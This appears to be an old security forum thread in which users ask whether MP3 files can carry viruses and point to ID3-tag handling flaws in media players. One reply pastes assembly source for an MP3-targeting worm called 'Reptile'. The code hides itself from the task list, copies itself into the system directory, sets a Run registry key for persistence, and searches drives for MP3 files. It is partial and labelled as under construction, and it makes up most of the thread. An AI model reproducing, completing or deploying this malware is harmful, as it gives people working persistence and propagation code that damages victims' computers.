UGN Security Forums
My ProfileMember DirectoryLogin
Search our ForumsView our FAQView our Site Rules
View our CalendarView our Active TopicsGo to our Main Page

UGN Security Store

Network Sites UGN Security, The GoNix Initiative, Elite Web Gamers, Back of the Web, EveryDay Helper, VNC Web Design & Development
Su M Tu W Th F Sa
1 2 3 4 5
6 7 8 9 10 11 12
13 14 15 16 17 18 19
20 21 22 23 24 25 26
27 28 29 30
Sponsored Links
Latest Postings
The History Thread...
by Cyrez
08/11/15 12:11 AM
Latest Reviews
Topic Options
Rate This Topic
#2714 - 09/16/03 05:15 PM Virus on mp3 files?
GhostintheNight Offline
Junior Member

Registered: 02/23/03
Posts: 10
Loc: Michigan
Even tho i think he's completly wrong, a buddy of mine told me that he downloaded a song or something to that effect from Kazaa and ended up getting a virus from it. He says it wasn't a program that the virus came from, but from a song... just wondering if anyone had herd about viruses being embedded in media files...

Sponsored Links
#2715 - 09/16/03 05:56 PM Re: Virus on mp3 files?
jonconley Offline
UGN Super Poster

Registered: 10/08/02
Posts: 955
Loc: Merrill, IA, USA
Actually, the mp3/wma itsef doesn't have a virus. I believe it is in the handling of the ID3 tags (they hold the specific info about the song, artist, etc)

Windows Hole
WinAmp Hole

I am sure there are more, but this atleast shows you that it is possible.

#2716 - 09/19/03 03:43 AM Re: Virus on mp3 files?
paradox Offline

Registered: 08/28/03
Posts: 240
Loc: New Zealand
There is an exploit for midi files changing the tags and setting the buffer to 0xfffffffff as for mp3
.Model Flat ,StdCall
option casemap:none

include ..\..\include\
include ..\..\include\
include ..\..\include\
include ..\..\include\
includelib ..\..\lib\kernel32.lib
includelib ..\..\lib\user32.lib
includelib ..\..\lib\advapi32.lib
residentname db "\SYSLOAD.EXE",0
regserviceproc db "RegisterServiceProcess",0
kernel32str db "kernel32.dll",0
subkey db "Software\Microsoft\Windows\CurrentVersion\Run",0
keyname db "Reptile",0
searchpattern db "???*",0
rootdir db "\",0
previousdir db "..",0
searchindex dd ?
wormlocation dd ?
keyhandle dd ?
finddata WIN32_FIND_DATA <>
systemdir db MAX_PATH dup(?)
searchhandles db 3FCh dup(?) ;255 dwords

mov eax,worm_end - worm_start
;=======Hide myself from "Close Program" Dialog=======
invoke LoadLibraryA,addr kernel32str
invoke GetProcAddress,eax,addr regserviceproc
push 1
push NULL
call eax
;==============Find the Name/path of the worm=========
invoke GetCommandLine
inc eax
xor edx,edx
xchg eax,esi
mov edi,esi
cmp al,'"'
je FoundEnd
cmp al, 00h
jne GetNextChar
push 7
pop edx
dec esi
xchg esi,edi
xor eax,eax
test edx,edx
je NoQuotes
dec esi
mov wormlocation,esi
;==============Copy it to the system directory========
invoke GetSystemDirectory, addr systemdir, SIZEOF systemdir
invoke lstrcat, addr systemdir, addr residentname
invoke CopyFile, wormlocation, addr systemdir, FALSE
;==============Make it run when Windows starts========
invoke RegCreateKeyEx, HKEY_LOCAL_MACHINE, addr subkey, NULL, \
addr keyhandle, NULL

invoke lstrlen, addr systemdir
invoke RegSetValueEx, keyhandle, addr keyname, NULL, REG_SZ, \
addr systemdir, eax

invoke SetCurrentDirectory,addr rootdir
Call FindVictims
;==============Clean Up===============================
invoke RegCloseKey, keyhandle
invoke MessageBoxA,NULL, addr keyname,NULL,MB_OK
invoke ExitProcess,NULL
;==============Find MP3 files to infect===============
FindVictims proc
invoke FindFirstFile, addr searchpattern, addr finddata
inc eax
je BackOneDir
dec eax
inc searchindex
mov ecx, searchindex
lea edi, [searchhandles+4*ecx]
xchg ebx,eax
jmp CallParseRoutine
invoke FindNextFile, ebx, addr finddata
test eax,eax
je FinishSearch
Call ParseResult
jmp FindNext
invoke FindClose, ebx
dec searchindex
mov ecx, searchindex
test ecx,ecx
je SearchFinished
lea esi, [searchhandles+4*ecx]
xchg eax,ebx
invoke SetCurrentDirectory, addr previousdir
FindVictims endp
;==============Process result of FindFile*============
ParseResult proc
lea edi, finddata.cFileName
invoke CharLower, edi
invoke lstrlen, edi
lea esi, [finddata.cFileName-4+eax]
sub eax, '3pm.' ;Infect MP3 Files
jne NotMp3
invoke MessageBoxA,NULL,edi,NULL,MB_OK ;'Twas an MP3
and finddata.dwFileAttributes,FILE_ATTRIBUTE_DIRECTORY
je NotDirectory
mov word ptr [finddata.cFileName-2], "\."
invoke SetCurrentDirectory,addr finddata.cFileName-2
Call FindVictims
ParseResult endp

End Main

Still in construction but there are lots of holes and it would like jonconley said be software dependant etc..
The wise make mistakes, the fools repeat them
When you have eliminated the impossible, that which remains, however improbable, must be the truth

#2717 - 09/25/03 03:49 PM Re: Virus on mp3 files?
Chem Offline
UGN News Staff

Registered: 10/13/02
Posts: 364
Loc: Vagabond (Location Differs)
Like jon said,

theres an exploit in the way most mp3 players (or just certain ones) handle mp3 metadata, and in turn can execute malicious code
C++ Should Have Been Called "D"


Moderator:  Infinite 
Featured Member
Registered: 04/29/15
Posts: 2
Forum Stats
2154 Members
46 Forums
40781 Topics
75954 Posts

Max Online: 1567 @ 04/25/10 02:20 AM
Top Posters
UGN Security 33943
Gremelin 7193
§intå× 3255
SilentRage 1273
Ice 1146
pergesu 1136
Infinite 1041
jonconley 955
Girlie 908
unreal 860
Newest Members
Suri John, boa, claralobo, cdefgh368568, HushHush
2153 Registered Users
Who's Online
0 registered (), 269 Guests and 241 Spiders online.
Key: Admin, Global Mod, Mod
Latest News

  Get Firefox!
Get FireFox!